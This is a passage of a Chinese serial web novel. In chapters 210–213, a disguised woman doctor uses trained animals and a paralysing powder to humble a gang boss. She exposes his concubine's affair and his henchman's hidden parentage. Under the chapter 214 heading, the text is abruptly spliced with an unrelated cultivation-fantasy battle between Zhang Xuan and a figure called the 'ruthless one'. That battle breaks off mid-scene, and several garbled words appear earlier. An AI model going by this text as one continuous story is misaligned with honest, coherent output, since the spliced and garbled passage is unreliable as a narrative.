正说着,就见大夫人施施然走来。众人连忙起身行礼,却见大夫人面色如常,仿佛没听见方才的议论。她在主位坐下,轻轻抿了一口茶,目光望向院中那株开得正艳的海棠。 “说吧,今儿个聚在这儿,又有什么新鲜事要说?”大夫人语气平和,却让在座的几位姨太太都不自觉地绷直了背脊。 “没...没什么。”二姨太低着头,手指不安地绞着帕子。 三姨太打圆场道:“就是闲来无事,想着一起赏赏花,说说话。” 大夫人轻笑一声:“是啊,这府里的花儿一年比一年开得好,可惜就是不见一棵长青树。” 这话说得意味深长,众人都听出了弦外之音。吕奋扬这些年纳了这么多房,不就是为了求个儿子?可这么多年过去,府上添了七八个女儿,却始终不见一个男丁。 正当气氛凝重之际,管家匆匆走来:“夫人,老爷让您过去一趟。” 大夫人起身,其他人如蒙大赦,纷纷告退。 吕奋扬的书房里,檀香袅袅。新纳的小妾正依偎在他身边,一张瓜子脸画着精致的妆容,眼波流转间尽是媚态。 “老爷,城南那个林大夫,真是太厉害了?”小妾撒娇似的说道。 吕奋扬捋着胡须,眼中闪过一丝阴鸷:“不过是个不知天高地厚的丫头片子,竟敢在我的地盘上撒野。” “可我听说,她医术确实了得。”小妾小心翼翼地说,“前几日张员外家的老夫人,就是她给治好的。” 吕奋扬冷哼一声:“医术再好,也得守规矩。这城南是我的地盘,开店做生意,该交的份例银子一分都不能少。” 这时,大夫人走了进来。新纳的小妾连忙起身行礼:“见过夫人。” “免了。”大夫人看向吕奋扬,“老爷找我有事?” 吕奋扬面色阴沉:“西七被人扣下了,我刚刚去了仁心医馆讨个说法。” “那个林大夫?”大夫人蹙眉,“听说她医术不错,城里不少人都去找她看病。” “哼,守规矩。”吕奋扬站起身,眼中寒光闪烁,“今晚就让她知道知道,什么叫规矩。” 新纳的小妾眨着眼睛:“老爷,我能跟着去看看吗?” 吕奋扬略一思索,点头应允。 夜色渐深,街上店铺纷纷关门,唯独仁心医馆灯火通明。 林芷柔站在医馆门前,月光下她的身影显得格外清瘦。温五陈带着家丁来援,被她婉言谢绝:“这是我和虎威帮的事,不劳你们费心。” “可是...”温五陈还想说什么。 沈明拉住他:“听林大夫的,她自有主张。” 待众人退去,林芷柔转身吩咐墨翎:“让灰羽去叫鹰老五和夜翼四来。” 墨翎有些担忧:“大夫,吕奋扬那人心狠手辣,您真要跟他硬碰硬?” 林芷柔淡淡一笑:“放心,我自有打算。” 不多时,夜翼四带着它的族群悄然而至,密密麻麻地挂满了屋檐。每只蝙蝠的翅膀下都藏着一包落魂散,这是林芷柔特制的药粉,沾上后会让人浑身无力。 鹰老五也站在了房顶上,与玄猫五闲聊起来。 “主人这招真绝,”玄猫五懒洋洋地舔着爪子,“让老四带着族人撒药,既不会伤人性命,又能给那些人一个教训。” 鹰老五点点头:“主人向来心善,就算对付坏人也不愿见血。” 林芷柔站在医馆门前,月光下她的身影愈发清冷。远处传来脚步声,吕奋扬带着人马终于到了。 “林大夫,”吕奋扬阴恻恻地笑道,“今晚我来,是要跟你好好说道说道。” 林芷柔不卑不亢:“吕帮主有什么要说的,但说无妨。” “你扣了我的人,还敢这么理直气壮?”吕奋扬冷笑,“看来是我平日太过仁慈,让你以为我好欺负。” “西七偷盗我医馆的药材,被我抓了个现行。”林芷柔语气平静,“这事若是闹到官府,对吕帮主的名声怕是不好。” 吕奋扬眼中闪过一丝狠色:“你威胁我?” “不敢。”林芷柔微微一笑,“我只是实话实说。” 吕奋扬怒极反笑:“好,好得很。既然你这么不识抬举,那就别怪我不客气了。”他一挥手,“给我上!” 就在这时,夜翼四的族群突然行动起来。无数包落魂散从天而降,化作一片白色的粉末,笼罩了吕奋扬一行人。 “这是什么?”吕奋扬惊怒交加,却发现自己的手脚渐渐失去了力气。 其他人也纷纷倒地,只有新纳的小妾躲在后面,幸免于难。 林芷柔走上前,居高临下地看着吕奋扬:“吕帮主,这是我特制的落魂散,虽然不会伤人性命,但也够你受的了。” 吕奋扬咬牙切齿:“你...你敢...” “我为什么不敢?”林芷柔冷笑,“你以为我开这个医馆,就真的只会治病救人?” 这时,玄猫五从房顶跳下来,优雅地踱到林芷柔脚边:“主人,要不要我去把西七带出来?让吕帮主看看,他派来的人都干了些什么好事。” 林芷柔点点头:“也好,让吕帮主看看,他手下的人是怎么偷我医馆的药材,又是怎么威胁我的病人的。” 吕奋扬脸色铁青,却说不出话来。他万万没想到,这个看起来柔弱的女大夫,竟然还藏着这样的手段。 林芷柔转向吕奋扬:“吕帮主,我这人最讨厌被人威胁。你若是安分守己,我自然不会找你麻烦。但如果你执意要与我为敌,那就别怪我不客气。” 吕奋扬躺在地上,眼中怒火翻腾,却无可奈何。 第二百一十章 小妾 他的小妾却四处张望,不自觉地往西七那边瞥。 林芷柔眯起眼睛,目光在小妾和西七之间来回游移:“你是吕爷的小妾吧?” “是呀!”小妾扬着下巴,珍珠项链随着她的动作轻轻晃动。 “看你太风骚,肯定不甘于平凡。”林芷柔摇头叹息,目光意有所指地看向西七,“可惜吕奋扬眼瞎,竟然没发现。” 小妾瞬间火冒三丈,扑向林芷柔:“你个死大夫,在瞎扯什么呢?我跟你拼了!”她的动作看似凶狠,眼中却闪过一丝心虚。 林芷柔早有准备,一脚踹在小妾腹部。她这一脚看似随意,实则暗含内力。 小妾如断了线的风筝般飞出门外,珍珠项链在空中断裂,珍珠四散落地,发出清脆的声响。 吕奋扬大喊:“来人!接住!” 林芷柔也跟着喊:“老五!老九!老七!干活!”她的声音不大,却带着一种莫名的威严。 屋顶上的灰羽扯着嗓子:“干活了!干活了!”他的声音在楚空中回荡。 刹那间,猫狗齐出,蝙蝠群飞。再次出手。 虎威帮的人们还没从刚才的震惊中反应过来,就被这些小动物再次折磨得哭爹喊娘。有的被猫抓破脸,有的被狗咬破腿,更多的人被蝙蝠围攻。 他们平日里耀武扬威的功夫,在这群小东西面前毫无用处。更要命的是,他们浑身发软,头晕目眩,连站都站不稳。 林芷柔看着这一幕,心中暗笑。夜翼四撒的落魂散果然好用,这些人怕是要躺上几天了。 小妾摔在地上,头破血流。她的妆容已经花了,露出本来面目。一只猫头鹰朝她扑来,吓得她连滚带爬地逃向西七。 “西七哥哥!救我!”她声音娇滴滴的,带着几分亲昵。 这一声“西七哥哥”,让吕奋扬的脸瞬间阴沉下来。他的拳头攥得咯咯作响,指节泛白。 林芷柔看着吕奋扬攥紧的拳头,知道自己猜对了。这小妾果然和西七有一腿,而且关系匪浅。 西七这时悠悠转醒,看见小妾在身边,愣了一下:“你怎么来了?吕爷呢?”他的声音中带着几分慌乱。 林芷柔饶有兴趣地看着这出好戏。她端起茶杯,轻轻抿了一口,目光在吕奋扬和西七之间来回游移。 吕奋扬的脸色越来越难看,眼中的怒火几乎要喷薄而出。他死死盯着西七和小妾,手已经按在了腰间的佩剑上。 这场架,怕是更热闹了。 林芷柔放下茶杯,目光落在地上散落的珍珠上。那些珍珠在烛光下闪烁着莹润的光泽,却映照出人心的丑陋。 她轻轻叹了口气,看向吕奋扬:“吕帮主,你的人我已经教训过了。至于其他的事...”她意有所指地看了眼西七和小妾,“想必你心里已经有数。” 吕奋扬深吸一口气,目光阴鸷:“林大夫,今日之事,我记下了。” “记性不错。”林芷柔点点头,“不过吕帮主还是先管好自己的人吧。”她说着,目光意味深长地看向西七和小妾。 吕奋扬冷哼一声。林芷柔给他松了绑,吕奋扬转身就要离去,他的背影在烛光下显得格外孤寂。 小妾见状,连忙爬起来追上去:“老爷!老爷等等我!” 西七想要起身,却被林芷柔一个眼神钉在原地。他额头冒出冷汗,知道自己这次怕是在劫难逃了。 林芷柔看着这一幕,嘴角勾起一抹冷笑。 小妾跪在地上,哭得梨花带雨,声声哀求传入耳中:“老爷,老爷!您要为奴家做主啊!这林大夫太狠心了,竟敢对奴家动手,这不是在打老爷您的脸吗?” 她的衣裙凌乱,发髻松散,眼泪顺着精心描画的妆容流下,在脸上留下几道难看的泪痕。那副楚楚可怜的模样,若是放在平日,定能勾起男人的怜惜之心。 林芷柔冷眼看着这出戏码,嘴角勾起一抹讥讽。她随手拿起桌上的茶盏,轻轻啜了一口:“你这般不要脸的女人,还配让人给你脸面?吕帮主该谢我才是,若不是我,他哪能看到这么精彩的一出好戏?” 茶香在唇齿间氤氲,林芷柔的目光落在那个跪地痛哭的女人身上。这个叫萌的侍妾,平日里在吕奋扬面前装得楚楚可怜,背地里却和西七勾勾搭搭,如今还敢来她的医馆闹事,真是不知死活。 吕奋扬面无表情地走到一旁坐下,目光在西七和萌侍妾之间来回扫视。他的手指无意识地敲击着椅子扶手,发出轻微的“咚咚”声。良久,他才开口道:“既然事情发生在这里,那就此了结吧。西七,是谁让你来找仁心医馆的麻烦?” 西七强忍着浑身的疼痛,艰难地坐起身来。他的衣服上沾满了灰尘,脸上还带着几道抓痕,看起来狼狈不堪。冷汗顺着他苍白的脸颊滑落,心中懊悔不已。原本以为这事能瞒天过海,谁知那女人一张嘴就露了马脚。 “帮...帮主...”西七张了张嘴,却不知该如何解释。他的目光不自觉地瞥向萌侍妾,却见对方正用哀求的眼神看着自己。 林芷柔看着这一幕,眼中闪过一丝玩味。她放下茶盏,悠然开口:“吕帮主,咱们之间的账,是不是该算一算了?要算,我会让我的手下继续对付你的兄弟。不算,我就撤了人手,让你好好审问这对狗男女是如何算计你的。” 吕奋扬闻言起身,大步走向门外。他倒要看看,自己带来的人怎么会被制住。 门外的景象让他瞬间呆立当场。 密密麻麻的猫狗遍布街道,屋顶上还栖息着猫头鹰和蝙蝠。他的手下们东倒西歪地躺在地上,有的被猫抓,有的被狗咬,场面混乱不堪。几个平日里最能打的兄弟,此刻正被几只大狗围着,动弹不得。 “救命啊!帮主!这些畜生太凶了!” “帮主,快让林大夫叫它们住手吧!” “我的腿...我的腿快被咬断了!” 凄厉的惨叫声此起彼伏,吕奋扬的额头渗出冷汗。他转身看向林芷柔,声音中带着几分急切:“林大夫!快让它们住手!再这样下去,我的兄弟们真要出事了。有什么误会,我们好好说。” 林芷柔轻轻点头,对着四周喊道:“老九!老五!老七!老四!都退下吧。” 随着她的话音落下,各种动物叫声此起彼伏,转眼间便各自散去。猫儿们轻盈地跃上房顶,狗儿们齐齐退到对面的巷子里,只留下一地狼藉和满身伤痕的虎威帮众。 吕奋扬震惊地看着这一幕,心中掀起惊涛骇浪。一个小小的大夫,居然能驱使这么多动物,若是换成猛兽,那还得了? “林大夫果真神人也,竟能号令百兽。”吕奋扬由衷感叹。 林芷柔却不以为然:“这不是重点。重点是,你的小妾遇险时想到的是你的手下,而不是你这个相公。吕帮主,你不觉得蹊跷吗?” 回到医馆内,吕奋扬重新落座。他的目光变得凌厉起来,扫过跪在地上的萌侍妾和西七。林芷柔也不客气,直接坐在一旁看戏。她倒要看看,这个虎威帮的帮主要如何处置这对奸夫淫妇。 “说!到底是谁指使你来仁心医馆闹事的?”吕奋扬的声音冷若寒冰。 萌侍妾吓得浑身发抖,目光不住地往西七那边瞟,显然是在求救。她的手紧紧攥着衣角,指节因用力过度而发白。 西七却低着头,一字一顿地道:“是萌侍妾,她塞给了我五十两银子,让我来找林大夫的麻烦。” “你...你这个负心汉!”萌侍妾尖叫一声,“明明是你说要帮我出这口气的,现在倒把所有责任都推到我身上!” “哦?”林芷柔饶有兴趣地看向萌侍妾,“说说看,本大夫何时得罪你了?让你这般费尽心思地找人来寻我的不痛快?” 不等对方回答,她又自顾自地道:“在帝都,我得罪的人不多,最近的也就是温五陈的外甥女孔芷馨。萌侍妾,她给了你多少好处,让你来算计我?” “你...你怎么知道?”萌侍妾瞪大了眼睛,脸上的血色瞬间褪去。 “用脑子想的。”林芷柔轻笑一声,“可惜你没有这个好东西,为了点银子就把自己和相好的都搭进去了。说吧,孔芷馨是怎么找上你的?” 第二百一十一章 受人指使 隔壁铺子里,温五陈正趴在墙上偷听。听到这里,他气得浑身发抖,咬牙切齿地道:“白眼狼!居然敢算计我温家的恩人!” 他转身看向身边的小厮,低声吩咐道:“去,把这事告诉老爷。看来是时候收拾这个不知好歹的外甥女了。” 小厮应声而去,温五陈又贴回墙边,继续偷听里面的动静。 医馆内,萌侍妾已经被吕奋扬的气势压得说不出话来。她跪在地上瑟瑟发抖,眼泪不停地往下掉。 西七看不下去,咬牙道:“是我的错,都是我贪心,听信了孔小姐的话。她说只要能让林大夫在帝都待不下去,就给我们一百两银子。” “一百两?”林芷柔冷笑,“就为了这点银子,你们就敢来找我的麻烦?” 吕奋扬的脸色更加难看。他站起身来,居高临下地看着跪在地上的两人:“你们可知道,林大夫是什么人?” 萌侍妾和西七面面相觑,显然不明白吕奋扬的意思。 “林大夫不仅医术高明,更是深得皇上信任。你们这般胡闹,若是惊动了宫里,你们担得起这个责任吗?”吕奋扬冷声道。 此言一出,萌侍妾和西七的脸色瞬间变得惨白。他们怎么也没想到,一个开医馆的大夫,居然还有这样的背景。 沈明和妻子默默对视一眼,谁也没有说话。空气中弥漫着一股难言的沉重,仿佛连呼吸都变得艰难起来。 隔壁店铺里,林芷柔正盯着那位梨花带雨的小妾,眼神中带着几分玩味。她倒要看看,这位萌侍妾如何解释与孔芷馨的牵连。窗外的雨丝斜斜地飘落,将整个世界染上一层朦胧的灰色。 萌侍妾跪在地上,双手紧紧攥着手帕,指节因用力而发白。她时不时抬头偷瞄吕奋扬的脸色,眼泪顺着脸颊滑落,在青石地板上洇出一个个小小的水渍。 “老爷......”她的声音带着哭腔,像是在极力压抑着什么,“是孔小姐的丫鬟找上我,给了一百两银子,要我教训城南的仁心医馆......” 林芷柔听到这里,嘴角微微上扬。这位萌侍妾倒是聪明,知道先把责任推给孔芷馨。她靠在门框上,手指有一下没一下地敲击着木质的门框,发出轻微的响声。 “我不敢惊动老爷,就让西七带人去办这事。”小妾说着,声音越来越小,几乎细若蚊蝇,“那会儿觉得这不过是小事一桩......” “小事?”林芷柔冷笑一声,目光在吕奋扬和小妾之间来回游移。屋内的烛火摇曳,在墙上投下跳动的影子,仿佛在无声地嘲笑着这场闹剧。 吕奋扬坐在太师椅上,面色阴沉如水。他的手指无意识地摩挲着椅子扶手,木质的纹路被他摸得发亮。良久,他才开口,声音低沉而冰冷:“西七。” 跪在地上的西七浑身一颤,额头上的冷汗顺着脸颊滑落。他身上的伤口还在隐隐作痛,但此刻的疼痛却远不及内心的恐惧。 “触犯帮规,该当何罪?”吕奋扬的目光如刀,直刺西七的心脏。 西七浑身是伤,声音嘶哑得几乎听不清:“杖责五十,逐出帮。” “很好。”吕奋扬面无表情,手指在扶手上重重叩了一下,“回去帮里继续执行。” 林芷柔看着吕奋扬吃瘪的样子,心中暗笑。她下的落魂散药效正好,外面那些帮众现在怕是连站都站不起来。她的目光扫过屋内的每个人,将他们的表情尽收眼底。 吕奋扬突然转向西七,眼中闪过一丝危险的光芒:“聊聊你跟这个女人之间的事儿?西七哥哥?叫得挺亲密。” 最后几个字咬得极重,仿佛要将空气都冻结。 西七一个头磕在地上,发出沉闷的响声:“帮主!是她逼我的!她野心太大,威胁要告发我们的事,我才不得不顺从......” 林芷柔忍不住插话,语气中带着几分戏谑:“真可怜啊,萌侍妾。你瞧瞧,这就是你心心念念的男人,转眼就把你推出来当挡箭牌。” 吕奋扬诧异地看了眼林芷柔。这个女人,刚才还对着他的人狠下杀手,现在倒帮起他来了?屋内的气氛微妙地变化着,像是暴风雨前的宁静。 林芷柔回他一个意味深长的眼神。她最爱看这种狗血戏码,让她好好玩玩怎么了? 小妾听着林芷柔的话,眼神闪烁不定。她本以为西七会护着她,没想到他如此无情。往事如潮水般涌来,那些甜言蜜语,那些海誓山盟,此刻都变得如此可笑。 “老爷!不是这样的......”小妾哭得更凶了,泪水打湿了整个手帕。她的身子微微发抖,像是秋风中的落叶。 吕奋扬还没开口,林芷柔又抢先道:“西七,我劝你别想着杀人灭口。你现在浑身无力,想动手也没那个本事。再说了,把我的医馆搞脏了,那可就是你的问题了。” 西七脸色大变,额头上的冷汗更密了。他的眼神闪烁,显然被说中了心事。 小妾吓得往吕奋扬身后躲,浑身发抖。她的脸色苍白如纸,嘴唇微微颤抖着,像是要说什么却又说不出口。 “老爷,我说,我全说......”小妾终于崩溃,声音带着哭腔,“我本是对西七有情,想嫁给他。可他非要我来侍奉您,还要我生下他的孩子冒充您的血脉......” 这句话一出,屋内的空气仿佛凝固了。吕奋扬的脸色瞬间变得铁青,手指紧紧扣住扶手,指节发白。 “你真是傻得可以。”林芷柔叹了口气,语气中带着几分怜悯,“男人的嘴,骗人的鬼。这个道理都不懂?” “那你呢?”西七恼羞成怒,声音嘶哑,“你不也是男人?” “我是女子。”林芷柔轻描淡写道,手指轻轻拨弄着额前的碎发,“只是喜欢男装罢了。” “什么?”西七和小妾同时惊呼。屋内的气氛再次变得诡异起来。 林芷柔不耐烦地挥挥手:“别岔开话题。如今说的是你俩的事儿。”她的目光在西七和小妾之间游移,像是在看一场有趣的戏。 小妾却还沉浸在震惊中。难怪这位林大夫总是帮她说话......她的目光在林芷柔身上打量,似乎想要从中找出些女子的痕迹。 林芷柔翻了个白眼。这女人脑子怎么长的?她明明是在看热闹不嫌事大好吗? 吕奋扬的目光在西七和小妾之间来回扫视,像是在思考如何处置这两个背叛者。 西七跪在地上,浑身发抖。他知道,今天这一劫,怕是难逃了。而小妾则缩在角落里,像是一只受惊的兔子,随时准备逃跑。 林芷柔靠在门框上,饶有兴致地看着这一切。她最喜欢看这种大戏了,特别是当事人还是吕奋扬这个让她讨厌的家伙。 林芷柔站在一旁,目光在吕奋扬和西七之间来回游移。 她从未想过,这场闹剧竟会牵扯出如此复杂的往事。店内的气氛凝重得几乎要将人压垮,连呼吸都变得小心翼翼。 吕奋扬的脸色一阵青一阵白,他死死盯着西七那张肿胀的脸,眼神中混杂着震惊、困惑和一丝难以察觉的痛楚。他的手指无意识地抓着衣袖,指节因用力而发白。 “你说...你是邹幼棠的儿子?”吕奋扬的声音有些发颤,喉结艰难地滚动着。 西七冷笑一声,那笑声中带着刺骨的刀:“怎么?现在想起来了?当年在澜州湖边,你可没这么好的记性。”他的目光如刀般锋利,每一个字都像是淬了毒。 第二百一十二章 身世 林芷柔眉头微皱,快步上前将晕倒的萌侍妾拖到一旁的软榻上,又返身关上了店门。门板发出沉闷的响声,仿佛给这场对峙画上了一道无形的界限。 “我...”吕奋扬张了张嘴,喉咙像是被什么东西堵住了。那些被酒精浸染的记忆正在一点点复苏,湖边少女清秀的面容逐渐与眼前这张脸重合。他的手不自觉地颤抖起来,额头渗出细密的汗珠。 “西七,你先坐下说话。”林芷柔轻声道,指了指一旁的椅子,“我去给你拿些药,消消脸上的肿。”她的声音温和却坚定,像是黑暗中的一盏明灯。 西七摆了摆手,嘴角扯出一抹讥讽的笑:“不必了,这点疼痛比起我娘当年受的苦,根本不值一提。”他的指节因攥紧而发出轻微的响声。 吕奋扬颓然坐在椅子上,双手无力地垂在两侧。阳光照在他的侧脸上,将那些细纹和沧桑照得格外清晰。“当年...当年我是真的喝醉了...”他的声音低沉沙哑,像是在自言自语。 “喝醉了就能为所欲为吗?”西七眼中闪过一丝狠厉,声音陡然拔高,“你知道我娘等了你多久吗?整整一年!她抱着肚子里的我,天天站在湖边望着帝都的方向。冬天的寒风刮得她嘴唇发紫,她也不肯回去。” 林芷柔默默走到药柜前,取出几味药材开始调配。药材捣碎的声音在寂静的店内格外清晰,像是在为这场对峙打着某种节拍。 “你说...你七岁时来找过我?”吕奋扬的声音有些沙哑,眼中闪过一丝痛苦的神色。 “呵,那会儿我娘已经死了。”西七冷冷道,目光中的恨意几乎要化作实质,“外公和舅舅带着我找到吕家,却被你的家人打出来。那时候你正在府上饮酒作乐,根本不知道门外发生了什么。” 吕奋扬猛地站起身,椅子被带倒发出刺耳的声响:“谁?是谁打的你?” “现在装什么好人?”西七嗤笑,眼中满是讥讽,“这些年我在你身边,你可曾看出半分端倪?我就站在你面前,你连多看一眼都懒得。” 林芷柔端着药走过来:“西七,先把药喝了。你现在情绪太激动,对身体不好。”她的声音依旧温和,却带着不容拒绝的坚定。 西七接过药碗,一饮而尽。苦涩的药汁顺着喉咙滑下,却比不上心中的苦涩万分之一。 “我不需要你们假惺惺的关心。”他将碗重重放在桌上,发出清脆的响声,“我只想让吕奋扬知道,他亏欠了多少人。” 吕奋扬的眼眶有些发红,声音颤抖:“你...你之前的名字是啥?” “重要吗?”西七冷笑,眼中闪过一丝难以察觉的伤痛,“在你心里,我永远都只是你收养的孤儿之一罢了。就像其他那些孩子一样,不过是你用来掩饰良心的工具。” 林芷柔看着这对父子,心中暗叹。阳光依旧温暖,却照不进这两个人的心里。 “西七。”她轻声道,“恨一个人很容易,原谅一个人很难。但你总要给他一个弥补的机会。” 西七转头看向她,眼中的冷意稍减:“林大夫,你不明白。我娘死的时候才二十岁,她连句遗言都没留下。那时候我才五岁,只记得她躺在床上,脸色苍白得像纸一样。” 吕奋扬的身子猛地一颤,仿佛被人重重击打了胸口。他的嘴唇颤抖着,想说什么却又说不出口。 “我知道你恨我。”他哑声道,声音中带着深深的自责,“但你既然来找我,就该让我知道真相。为什么要等到现在?” “因为我想看着你痛苦。”西七直视着吕奋扬的眼睛,目光如刀,“看着你为了子嗣发愁,看着你被小人算计,看着你一步步走向绝境。我要你尝尝,我这些年是怎么过来的。” 林芷柔叹了口气:“西七,你这样做,对得起你娘吗?” 西七的身子微微一僵,眼中闪过一丝动摇。窗外的风吹动树叶,发出沙沙的响声,像是某种无声的叹息。 “我娘临死前,还在念叨着吕奋扬这个名字。”他的声音有些发涩,眼中闪过一丝难以察觉的泪光,“她说,也许是她不够好,所以配不上帝都的贵人。她到死都在自责,觉得是自己配不上你。” 吕奋扬踉跄着后退了一步,仿佛被人重重击打了胸口。他的脸上写满了痛苦和懊悔,那些往事像是一把把利刃,狠狠刺进他的心里。 林芷柔看着这一幕,知道有些话该说了。她走到窗边,望着外面的阳光,轻声说道:“过去的事已经无法改变,但未来还长。你们是父子,这层关系改变不了。与其互相折磨,不如放下过去,重新开始。” 西七沉默了许久,才缓缓开口:“我不需要他的补偿,也不需要他的愧疚。我只想让他知道,这些年我是怎么活过来的。”他的声音中带着深深的疲惫。 吕奋扬颤抖着伸出手:“孩子...” “别叫我孩子!”西七厉声打断,声音中带着压抑的怒火,“你没资格!” 林芷柔适时插话:“天色不早了,今天的事就到这里。西七,你先回去休息,吕老爷也需要时间消化。”她的声音依旧温和,却带着不容置疑的坚定。 这对父子之间的隔阂,需要时间来化解。就像窗外的阳光,总会慢慢驱散阴霾,但这个过程需要耐心和时间。 西七站起身,整理了一下衣襟。他的动作很慢,仿佛在给自己时间平复情绪。最后,他深深看了吕奋扬一眼,那眼神中有太多复杂的情绪,恨意、痛苦、不甘,还有一丝难以察觉的期待。 吕奋扬想要说什么,却又咽了回去。他知道,此时的任何话语都显得苍白无力。只能看着西七的背影渐渐消失在门外,就像当年那个站在湖边的少女一样,永远地离开了他的视线。 第二百一十三章 收徒 林芷柔望着眼前这个年轻人,心中五味杂陈。窗外的阳光透过纱帘洒进来,在地上投下斑驳的光影,屋内的空气中飘散着淡淡的药香。 西七站在那里,肩膀微微绷紧,眼神里充满了倔强与不甘,却又带着一丝难以掩饰的落寞。他的衣衫虽然整洁,但明显是穿了很久的旧衣,布料已经泛白。 “你说得对,吕家已经遭到报应了。”吕奋扬的声音里带着深深的疲惫,他的目光在西七身上逗留,仿佛要将这个年轻人的模样深深刻进记忆里。“我想为你母亲在宗祠立牌位,让她入族谱。” “不必了。”西七冷笑一声,声音里带着刺骨的雨柳,“死人是不会活过来的。” 林芷柔注意到西七说这话时,指节捏得发白,青筋隐约可见。她暗自叹息,这孩子心里的伤痕怕是比身上的伤还要深得多。 屋内的气氛一时变得凝重,连窗外的鸟鸣声都显得格外刺耳。 “你要去哪?”吕奋扬急切地上前一步,脚步声在寂静的房间里格外清晰,“让林大夫先给你看看伤。你的伤口还在渗血。” 西七下意识地摸了摸胸口的位置,那里的布料已经被血迹浸透。他转身看向林芷柔,眼神里闪过一丝犹豫:“林大夫的医术的确高明,只是我无钱支付药费。若能让我做工抵债,我愿意留下。” 林芷柔正要开口,余光瞥见吕奋扬在疯狂使眼色。她能理解吕奋扬的心情,这个男人想要弥补过去的过错,但有些伤痕,时间也未必能够抚平。 她轻叹一声:“也好,仁心医馆正缺人手。”这话不假,最近孔芷馨那边动静不小,多个能打的确实能让她安心些。而且,这个年轻人身手不错,虽然刚才的打斗中略显莽撞,但基本功扎实。 西七点点头,神情依旧淡漠,但眉宇间的戾气似乎减轻了几分。 林芷柔走到药柜前,取出一个翠绿色的玉瓶。玉瓶入手温润,散发着淡淡的灵气。她倒出些许清澈的液体,又加了些温水:“把这个喝了,对你的伤有好处。” 西七接过杯子,略一迟疑,便一饮而尽。 看着他的动作,林芷柔暗自摇头。早知如此,方才就不该下那么重的手,还要浪费仙露。不过这仙露确实是好东西,能快速愈合伤口,还能增进武功。 “舅舅的事,让我来打听如何?”吕奋扬小心翼翼地试探,声音里带着几分讨好的意味。 “不必。”西七语气冷硬,像是一把出鞘的利剑,“我自有打算。” 林芷柔看得出来,西七对吕奋扬的关心很是抗拒。这种抗拒不是装出来的,而是发自内心的排斥。她能理解这种感觉,有些伤害一旦造成,就很难完全愈合。 吕奋扬欲言又止,眼中闪过一丝痛苦,最终只是叹了口气:“那你先在这里养伤,我会处理好你母亲的事。” 待吕奋扬走到门口,他突然转身,对林芷柔深深一揖:“林大夫,这孩子从小吃尽苦头。十个孩子只活下他一个,我......” “够了。”林芷柔打断道,她不想听这些陈年旧事,“他在我这里,你放心。不过我倒是有句话要说。” 她看着吕奋扬,目光如炬:“虎威帮收保护费的事,该收敛些了。取之有道,不然福报不会长久。” 吕奋扬神色一凛,随即点头:“多谢林大夫指点。” 待吕奋扬离开,屋内重新恢复了平静。阳光依旧透过窗棂洒落,在地上留下斑驳的光影。 林芷柔转向西七:“后院有间闲置的屋子,你先去休息。”她注意到西七的脸色已经好了许多,看来仙露的效果开始显现了。 “他对你说了啥?”西七突然问道,声音里带着一丝警惕。 “就是想求你原谅。”林芷柔直言不讳,“不过这事不急。你先在我这儿打工,方才那杯水可是好东西,练武之人喝了才知道。” 她看着西七略显惊讶的神色,继续道:“人生不只有仇恨。既然答应留下,就别想着逃跑,我最讨厌言而无信的人。” 西七沉默片刻,轻轻点了点头。他的眼神中闪过一丝复杂的情绪,但很快就被掩盖下去。 林芷柔望着他的背影,若有所思。这个年轻人身上背负太多,或许在这里待一段时间,能让他看清楚自己真正想要的是什么。 楚幕降临,医馆内渐渐安静下来。林芷柔坐在案前,借着烛光整理今日的医案。窗外传来虫鸣声,偶尔还能听到更远处传来的守卫打更声。 她想起白天的事,不由得叹了口气。西七的事情她多少也听说过一些。何家的事,说到底是一笔血债。但她也知道,仇恨永远不可能带来真正的解脱。 正想着,外面突然传来一阵脚步声。林芷柔警觉地抬头,却见西七站在门口,月光从他背后洒落,在地上投下一道修长的影子。 “睡不着?”林芷柔问道。 西七点点头,走进屋内。烛光映照下,他的脸庞显得格外年轻。 “伤口还疼吗?”林芷柔一边问,一边起身去拿药。 “不疼了。”西七的声音很轻,“那个...那个水真的很有效。” 林芷柔笑了笑:“那是自然。不过这种好东西可不多了,你且珍惜着点。” 西七沉默了一会,突然开口:“林大夫,你为什么要帮我?” 林芷柔停下手中的动作,转身看着他:“我是大夫,治病救人是本分。再说了,你不是答应要在这里做工吗?” 西七低下头:“可是...我...” “别想那么多。”林芷柔打断他,“现在最重要的是养好伤。至于其他的事,以后再说。” 西七抬起头,月光透过窗棂洒在他的脸上,映出一双清澈的眼睛。那双眼睛里,仇恨似乎淡了几分。 第二百一十四章 是个苦孩子 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 